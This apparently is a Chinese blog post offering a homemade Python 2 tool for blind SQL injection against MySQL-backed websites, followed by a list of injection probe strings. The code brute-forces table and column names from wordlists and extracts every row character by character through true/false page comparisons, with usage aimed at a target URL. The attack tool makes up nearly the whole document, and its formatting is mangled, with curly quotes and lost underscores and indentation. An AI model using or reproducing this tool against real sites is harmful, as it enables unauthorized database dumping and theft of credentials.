sql盲注入 python

写一款工具，可以用来进行sql盲注
前提： 数据库是mysql

工具中使用的sql语句:
判断表是否存在： (select count(*) from tablename)>0
判断列是否存在：(select count(*) from tablename where 列名=)>0
猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
用户名长度： and (select count(*) from admin where id=5 and len(username)=4)

密码长度： and (select count(*) from admin where id=5 and len(pws)=4)

关于sql手工注入的网站：blog.youkuaiyun.com/tomatofly/article/details/7221209

代码：`#encoding=utf-8

import requests
import hashlib
import sys
from optparse import OptionParser

class blind(object):
def init(self,url):
self.url=url
self.table=[]
self.column={}
self.value={}

    def get_normal_md5(self,url):
            html=requests.get(url)
            html=html.text
            m=hashlib.md5()
            m.update(html)
            return m.hexdigest()

    def get_table_name(self):
            normal_md5=self.get_normal_md5(self.url)
            table=[i.strip() for i in open('table_name.txt').readlines()]
            url=self.url[:len(self.url)-3]
            for t in table:
                    print 'test table_name is %s'%t
                    temp_url=url+" and (select count(*)  from  "+ t +" )>0 --+"
                    if self.get_normal_md5(temp_url)==normal_md5:
                            self.table.append(t)
    def get_column_name(self,table):
            normal_md5=self.get_normal_md5(self.url)
            column=[i.strip() for i in open('column_name.txt').readlines()]
            url=self.url[:len(self.url)-3]
            column_existence=[]
            for c in column:
                    print 'test %s table column name is  %s' %(table,c)
                    temp_url=url+" and (select count(%s.%s) from %s)>0 --+"%(table,c,table)
                    if self.get_normal_md5(temp_url)==normal_md5:
                            column_existence.append(c)
            self.column[table]=(list(set(column_existence)))

    def get_all_value(self):
            # get  all values save in values
            self.get_table_name()
            for t in self.table:
                    self.get_column_name(t)
            print self.column
            for t in self.table:
                    # get the table have all column length
                    length=-1
                    first=1
                    end=10000
                    mid=(first+end)/2
                    normal_md5=self.get_normal_md5(self.url)
                    url=self.url[:len(self.url)-3]
                    while True:
                            temp_url=url+" and ( select count(*) from %s)=%d --+"%(t,mid)
                            print  temp_url
                            if self.get_normal_md5(temp_url)==normal_md5:
                                    length=mid
                                    break
                            temp_url=url+" and ( select count(*) from %s)>%d --+"%(t,mid)
                            if self.get_normal_md5(temp_url)==normal_md5:
                                    first=mid+1
                                    mid=(end+first)/2
                            else:
                                    end=mid-1
                                    mid=(end+first)/2
            # get the table length
                    if length==-1:
                            pass
                    else:
                            print length
                            v2={}
                            for n in range(length):
                                    v1={}
                                    for c in self.column[t]:
                                            value=self.get_column_value(t,c,n)
                                            v1[c]=value
                                    index_=str(n)
                                    v2[index_]=v1
                            self.value[t]=v2
            self.print_result()
    def print_result(self):
            for i in self.value:
                    print '\n\n',i
                    for index in  self.value[i]:
                            print self.value[i][index]

    def get_column_value(self,table,column,index):
            normal_md5=self.get_normal_md5(self.url)
            url=self.url[:len(self.url)-3]
            # the column value  length is ?????
            value_length=-1
            for i in range(100000):
                    temp_url=url+" and (select LENGTH(%s) from %s limit %d,1)= %d  --+" %(column,table,index,i)
                    if self.get_normal_md5(temp_url)==normal_md5:
                            value_length=i
                            break

            if value_length==-1:
                    return None
            # the column value is ????
            value=""
            for i in range(1,value_length+1):
                    first=1
                    end=127
                    mid=(first+end)/2
                    while True:

                            u=url+" and (select  ASCII(MID((select %s from %s limit %d,1),%d,1)))=%d --+" %(column,table,index,i,mid)
                            print u
                            if self.get_normal_md5(u)==normal_md5:
                                    value+=chr(mid)
                                    break
                            temp_url=url+" and (select  ASCII(MID((select %s from %s limit %d,1),%d,1)))>%d --+" %(column,table,index,i,mid)
                            if self.get_normal_md5(temp_url)==normal_md5:
                                    first=mid+1
                                    mid=(first+end)/2
                            else:
                                    end=mid-1
                                    mid=(first+end)/2
            print value
            return value

def main():
parser=OptionParser()
parser.add_option(“-q”, “–quiet”,
action=”store_false”, dest=”verbose”, default=True,
help=”don’t print status messages to stdout”)
parser.add_option(‘-u’,”–url”,dest=”url”,default=’u’,help=”please input the website url”)
parser.add_option(‘-t’,’–table’,dest=”table”,help=”please input table name”)
parser.add_option(‘-c’,’–column’,dest=”column”,help=”please input column name”)
parser.add_option(“–dump”,dest=”dump”,default=True,help=”blind injection the web site”)
(options, args) = parser.parse_args()

    url=""
    table=""
    column=""
    if options.url=='u':
            print 'you should input the website url'
            sys.exit(0)
    else:
            url=options.url
    a=blind(url)
    if options.table:
            table=options.table
            if options.column:
                    pass
            else:
                    pass
    else:
            a.get_all_value()

if name==’main‘:
main()

在同目录下，必须有column_name.txt table_name.txt
两个文件
USAGE: python get_injection.py -h 查看帮助
对于其中的-u 参数解释： 这里添加的url http://x.x.x.x/index.php?id=1 or 1=1 –+